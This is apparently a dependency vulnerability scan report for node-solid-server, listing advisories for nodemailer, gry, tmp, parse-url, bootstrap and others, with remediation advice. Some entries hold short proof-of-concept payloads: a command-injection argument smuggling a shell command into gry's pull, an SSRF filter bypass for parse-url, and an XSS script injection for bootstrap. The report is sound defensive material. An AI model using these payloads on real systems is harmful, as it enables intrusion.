  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0

Overview

Affected versions of this package are vulnerable to Origin Validation Error via the _varyMatches() function, which fails to properly handle Vary: * (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The Vary: * directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.

Remediation

There is no fixed version for http-cache-semantics.

References

high severity
new

Uncontrolled Recursion

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@10.0.2.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Uncontrolled Recursion via _parseAddresses in src/mime-node/index.ts when a recipient field is supplied as a deeply nested array. The native array-to-string conversion applied before passing the value to addressparser recurses once per nesting level, so a recipient wrapped in roughly a few thousand arrays (approximately 10 KB of JSON) exhausts the call stack and causes a RangeError. Because the compile step of sendMail was not wrapped in a try/catch, the synchronous throw escapes the callback chain and can crash the process.

Note: This is only exploitable if the caller does not catch the complete synchronous invocation of sendMail.

Remediation

Upgrade nodemailer to version 10.0.2 or higher.

References

high severity

Command Injection

  • Vulnerable module: gry
  • Introduced through: mashlib@2.3.3

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › gry@5.0.8
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › gry@5.0.8
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › gry@5.0.8
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › activitystreams-pane@1.1.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › gry@5.0.8
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › profile-pane@3.3.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › gry@5.0.8
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › gry@5.0.8

Overview

gry is a minimalist NodeJS wrapper for the git commands. gry stands for the Git Repository.

Affected versions of this package are vulnerable to Command Injection in lib/index.js and example.js

PoC

// poc.js
const Repo = require("gry");
var myRepo = new Repo(".");
myRepo.pull('test; touch HACKED; #', function(){console.log('Finished!')})

Remediation

Upgrade gry to version 6.0.0 or higher.

References

high severity

CRLF Injection

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@8.0.9.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to CRLF Injection via the comment field in the list message option. An attacker can inject arbitrary headers into generated email messages by supplying crafted input containing CRLF sequences.

Remediation

Upgrade nodemailer to version 8.0.9 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@9.0.1.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the message-level raw option bypassing disableFileAccess and disableUrlAccess flags. An attacker can access arbitrary local files or perform server-side request forgery by supplying crafted input to the raw field, which bypasses intended access restrictions and results in sensitive data being sent to an attacker-controlled recipient.

Remediation

Upgrade nodemailer to version 9.0.1 or higher.

References

high severity

AGPL-3.0 license

  • Module: standard-error
  • Introduced through: @solid/oidc-rp@0.12.1, @solid/solid-multi-rp-client@0.7.2 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-rp@0.12.1 › standard-http-error@2.0.1 › standard-error@1.1.0
  • Introduced through: solid-server@solid/node-solid-server › @solid/solid-multi-rp-client@0.7.2 › @solid/oidc-rp@0.12.1 › standard-http-error@2.0.1 › standard-error@1.1.0
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/oidc-rp@0.12.1 › standard-http-error@2.0.1 › standard-error@1.1.0
  • Introduced through: solid-server@solid/node-solid-server › solid-auth-client@2.5.6 › @solid/oidc-rp@0.11.10 › standard-http-error@2.0.1 › standard-error@1.1.0
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/solid-multi-rp-client@0.7.2 › @solid/oidc-rp@0.12.1 › standard-http-error@2.0.1 › standard-error@1.1.0

AGPL-3.0 license

high severity

AGPL-3.0 license

  • Module: standard-http-error
  • Introduced through: @solid/oidc-rp@0.12.1, @solid/solid-multi-rp-client@0.7.2 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-rp@0.12.1 › standard-http-error@2.0.1
  • Introduced through: solid-server@solid/node-solid-server › @solid/solid-multi-rp-client@0.7.2 › @solid/oidc-rp@0.12.1 › standard-http-error@2.0.1
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/oidc-rp@0.12.1 › standard-http-error@2.0.1
  • Introduced through: solid-server@solid/node-solid-server › solid-auth-client@2.5.6 › @solid/oidc-rp@0.11.10 › standard-http-error@2.0.1
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/solid-multi-rp-client@0.7.2 › @solid/oidc-rp@0.12.1 › standard-http-error@2.0.1

AGPL-3.0 license

medium severity

CRLF Injection

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@8.0.5.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to CRLF Injection via the name configuration configuration option. An attacker can inject arbitrary SMTP commands by supplying carriage return and line feed sequences, enabling unauthorized email sending, sender spoofing, and phishing attacks before authentication occurs.

Remediation

Upgrade nodemailer to version 8.0.5 or higher.

References

medium severity

Improper Encoding or Escaping of Output

  • Vulnerable module: uri-js
  • Introduced through: eslint@9.39.5

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › eslint@9.39.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: solid-server@solid/node-solid-server › eslint@9.39.5 › @eslint/eslintrc@3.3.7 › ajv@6.15.0 › uri-js@4.4.1

Overview

uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via pctDecChars(), which decodes invalid and overlong percent-encoded sequences into ASCII metacharacters. An attacker can craft percent-encoded payloads to bypass platform decoder validation and inject path traversal or CRLF sequences that downstream consumers process without filtering.

Remediation

There is no fixed version for uri-js.

References

medium severity

Symlink Attack

  • Vulnerable module: tmp
  • Introduced through: mashlib@2.3.3

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › activitystreams-pane@1.1.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › profile-pane@3.3.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28

Overview

Affected versions of this package are vulnerable to Symlink Attack via the dir parameter. An attacker can cause files or directories to be written to arbitrary locations by supplying a crafted symbolic link that resolves outside the intended temporary directory.

PoC

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

Remediation

Upgrade tmp to version 0.2.4 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: parse-url
  • Introduced through: mashlib@2.3.3

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › activitystreams-pane@1.1.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › profile-pane@3.3.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to improper detection of protocol, resource, and pathname fields. Exploiting this vulnerability results in bypassing protocol verification.

PoC:

import parseUrl from "parse-url";
import fetch from 'node-fetch';
var parsed=parseUrl("http://nnnn@localhost:808:/?id=xss")
if(parsed.resource=="localhost"){
console.log("internal network access is blocked")
}
else{
   const response = await fetch('http://'+parsed.resource+parsed.pathname);
        console.log(response)
 }

Remediation

Upgrade parse-url to version 8.1.0 or higher.

References

medium severity

Use of a Cryptographic Primitive with a Risky Implementation

  • Vulnerable module: elliptic
  • Introduced through: @solid/oidc-op@0.12.1 and @solid/oidc-auth-manager@0.25.2

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-op@0.12.1 › jwk-to-pem@2.0.7 › elliptic@6.6.1
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/oidc-op@0.12.1 › jwk-to-pem@2.0.7 › elliptic@6.6.1
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/oidc-rs@0.7.0 › jwk-to-pem@2.0.7 › elliptic@6.6.1

Overview

elliptic is a fast elliptic-curve cryptography implementation in plain javascript.

Affected versions of this package are vulnerable to Use of a Cryptographic Primitive with a Risky Implementation due to the incorrect computation of the byte-length of k value with leading zeros resulting in its truncation. An attacker can obtain the secret key by analyzing both a faulty signature generated by a vulnerable implementation and a correct signature for the same inputs.

Note:

There is a distinct but related issue CVE-2024-48948.

Remediation

There is no fixed version for elliptic.

References

medium severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@10.0.10.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the isPartialResponse function and the _onData method of SMTPConnection in src/smtp-connection/index.ts, where each continuation line is appended to the same response queue entry and the partial check re-runs str.slice(str.lastIndexOf('\n') + 1) over the whole accumulated string, forcing a full flatten of the V8 rope on every line. An attacker who controls or impersonates the SMTP peer can starve the event loop of the entire Node.js process, halting every other connection, request, and timer in it, and grow memory without bound, by streaming continuation lines such as 220-flood and never sending a completion line. This is reachable during the greeting and EHLO phases before the client authenticates or issues any command, the connection module applies no cap on accumulated reply size or line count, and the existing timers do not help, since greetingTimeout fires into an already starved loop and the inactivity socketTimeout resets on every inbound chunk.

Remediation

Upgrade nodemailer to version 10.0.10 or higher.

References

medium severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@10.0.13.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the AUTH mechanism detection of SMTPConnection._actionEHLO in src/smtp-connection/index.ts, where all four patterns contain (?:(\s+|=)[^\n]*\s+|\s+|=) before the mechanism literal, so [^\n]* and the trailing \s+ compete for the same whitespace and the engine tries every partition of the run before failing. An attacker who controls or intercepts the SMTP peer can stall the whole Node.js process, suspending every other request, timer, and connection in it, by answering EHLO with a line such as 250-AUTH followed by a long whitespace run and a token that matches no mechanism. This is reached before authentication on the first EHLO against a server offering no STARTTLS, on the second after a STARTTLS upgrade, or on the first when ignoreTLS is set, and the synchronous stall cannot be interrupted by the socket timeout, with roughly 4,000 whitespace characters already costing tens of seconds per pattern.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade nodemailer to version 10.0.13 or higher.

References

medium severity

Improper Validation of Specified Index, Position, or Offset in Input

  • Vulnerable module: uuid
  • Introduced through: solid-ws@0.4.3 and uuid@13.0.2

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › solid-ws@0.4.3 › uuid@8.3.2
  • Introduced through: solid-server@solid/node-solid-server › uuid@13.0.2
    Remediation: Upgrade to uuid@14.0.0.

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: express-handlebars@5.3.5 and rimraf@3.0.2

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › express-handlebars@5.3.5 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: solid-server@solid/node-solid-server › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Improper Certificate Validation

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@8.0.8.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Improper Certificate Validation due to the use of rejectUnauthorized: false in the internal HTTPS client, which disables TLS certificate verification during OAuth2 token retrieval. An attacker can intercept sensitive OAuth2 credentials and tokens by performing a machine-in-the-middle attack on the HTTPS connection.

Remediation

Upgrade nodemailer to version 8.0.8 or higher.

References

medium severity
new

Improper Certificate Validation

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@10.0.2.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Improper Certificate Validation via the DNS cache in src/shared/index.ts, where the TLS server name (SNI) is stored alongside resolved addresses and keyed only by hostname. When two transports in the same process connect to the same host with different tls.servername values, the second transport inherits the server name cached by the first, sends it as SNI, and verifies the peer certificate against it. This allows an attacker to present a certificate issued for the first transport's server name to the second transport's connection, effectively bypassing certificate validation and enabling a MitM attack that exposes credentials sent to the wrong endpoint.

Remediation

Upgrade nodemailer to version 10.0.2 or higher.

References

medium severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@10.0.10.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the parseHeaders method of MessageParser in src/dkim/message-parser.ts, whose unfold loop appends each continuation line onto the preceding one and then re-tests the anchored /^[ \t]/ against the growing merged line, forcing a full flatten of the accumulated rope on every iteration. A user who can influence the size of a header that folds into many continuation lines, most readily a large recipient list but equally a long Subject, References, or custom header, can starve the event loop of the single threaded sending process for seconds on every signed message, halting all other work in it. This requires DKIM signing to be enabled, and nothing bounds the input, since checkHeaders buffers the header block until the terminator and the signer's MAX_MESSAGE_SIZE and cacheTreshold apply to the body stream rather than the headers, while the MIME composer folds the value deterministically at column 76 so the line count scales with the supplied size.

Remediation

Upgrade nodemailer to version 10.0.10 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@9.1.1.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the resolveContent() method in lib/mailer/mail-message.js. An attacker can read local files or trigger outbound URL fetches by supplying html or attachment content that is resolved through the legacy mail.resolveContent(data, key, callback) signature. When a plugin or application calls this API on a message created with disableFileAccess or disableUrlAccess, the access policy is dropped and the content resolver reaches fs.createReadStream() or nmfetch(), exposing server files or causing SSRF.

Remediation

Upgrade nodemailer to version 9.1.1 or higher.

References

medium severity

Cross-site Scripting

  • Vulnerable module: bootstrap
  • Introduced through: bootstrap@3.4.1

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › bootstrap@3.4.1
    Remediation: Upgrade to bootstrap@4.0.0.

Overview

bootstrap is a popular front-end framework for faster and easier web development.

Affected versions of this package are vulnerable to Cross-site Scripting through the data-loading-text attribute in the button component. An attacker can execute arbitrary JavaScript code by injecting malicious scripts into this attribute.

Note:

This vulnerability is under active investigation and it may be updated with further details.

PoC

<input 
  id="firstName" 
  type="text" 
  value="<script>alert('XSS Input Success')</script><span>Loading XSS</span>"
/>
<button
  class="btn btn-primary input-test"
  data-loading-text="<span>I'm Loading</span>"
  type="button"
>
  Click Me
</button>

<script>
$(function () {
  $('.input-test').click(function () {
    var inputValue = $('#firstName').val();
    $(this).data('loadingText', inputValue);
    $(this).button('loading', inputValue);
  });
});
</script>

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade bootstrap to version 4.0.0 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: got
  • Introduced through: mashlib@2.3.3

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › package-json@2.4.0 › got@5.7.1
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › package-json@2.4.0 › got@5.7.1
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › package-json@2.4.0 › got@5.7.1
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › activitystreams-pane@1.1.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › package-json@2.4.0 › got@5.7.1
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › profile-pane@3.3.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › package-json@2.4.0 › got@5.7.1
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › package-json@2.4.0 › got@5.7.1

Overview

Affected versions of this package are vulnerable to Open Redirect due to missing verification of requested URLs. It allowed a victim to be redirected to a UNIX socket.

Remediation

Upgrade got to version 11.8.5, 12.1.0 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: parse-url
  • Introduced through: mashlib@2.3.3

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
